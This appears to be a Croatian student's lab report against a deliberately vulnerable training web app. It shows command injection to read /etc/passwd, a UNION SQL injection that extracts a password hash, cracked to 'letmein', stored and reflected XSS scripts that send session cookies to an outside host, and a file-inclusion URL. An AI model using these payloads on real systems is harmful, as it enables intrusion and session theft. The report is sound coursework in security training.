SRS LABORATORIJSKA VJEŽBA 3

**ZADATAK 1**

Izveo sam naredbu **1 | cat /etc/passwd,** koja prikazuje sadržaj datoteke **/etc/passwd.**

Ispis datoteke:

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

\_apt:x:100:65534::/nonexistent:/bin/false

mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false

**ZADATAK 2 (SQL injection)**

Izveo sam sljedeći upit:

**'union select password, first\_name from users where first\_name = 'Pablo' and last\_name = 'Picasso**

Dotični upit koristi ključnu riječ **union** koja kombinira početni SQL upit iz izvornog koda te upit koji sam predao. Upit koji sam predao govori bazi da ispiše lozinku i ime korisnika s imenom *Pablo* i prezimenom *Picasso*. Baza je vratila *hash* lozinke, kao što se vidi u ispisu:

0d107d09f5bbe40cade3de5c71e9e9b7

ID: 'union select password, first\_name from users where first\_name = 'Pablo' and last\_name = 'Picasso  
First name: 0d107d09f5bbe40cade3de5c71e9e9b7  
Surname: Pablo

Nakon toga je bilo potrebno razbiti *hash* pomoću nekih alata za razbijanje *hasheva* lozinki. Koristio sam online alat *crackstation.net*, te nakon pokretanja razbijanja, alat je vratio sljedeću lozinku: letmein

**ZADATAK 3 (XSS)**

U input *message* priložio sam sljedeću skriptu: <script>alert(document.cookie)</script>.

Ona će dohvatiti cookie iz spremnika browsera te ga ispisati na ekran koristeći alert javascript funkciju. Ispis je sljedeći:

**PHPSESSID=1s35l28tgqebs3f2p9ij18mo06**

Ako bismo htjeli preusmjeriti korisnika pri dolasku na stranicu, možemo uključiti sljedeću skriptu u tijelo poruke:

<script>location.href='http://public.tel.fer.hr/srs?cookie=' + document.cookie;</script>

Kako je polje poruke ograničeno na 50 znakova, potrebno je u *devtools* promijeniti vrijednost *maxlength*.

b) Reflected napad

Sličan Stored napadu, samo što možemo proslijediti samo URL, odnosno slanjem poveznice izvodim XSS napad.

Nakon unošenja u polje *What's your name?,* URL dobije parametar **name**. Kako bismo izveli XSS Reflected napad potrebno je upisati:

<script>location.href='http://public.tel.fer.hr/srs?cookie=' + document.cookie;</script>.

**ZADATAK 4**

- URL kojim se ispisuje sadržaj datoteke "/etc/passwd" :

http://local\_ip/vulnerabilities/fi/?page=/etc/passwd

**- Ispis datoteke**

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin \_apt:x:100:65534::/nonexistent:/bin/false mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false

Aplikaciju od ovakvih napada bih zaštitio *hardcodiranjem* datoteka koje su potrebne za rad aplikacije i ne dopuštati unos datoteka korisniku.

Slika na kojoj se prikazuje tekst

Opis je automatski generiran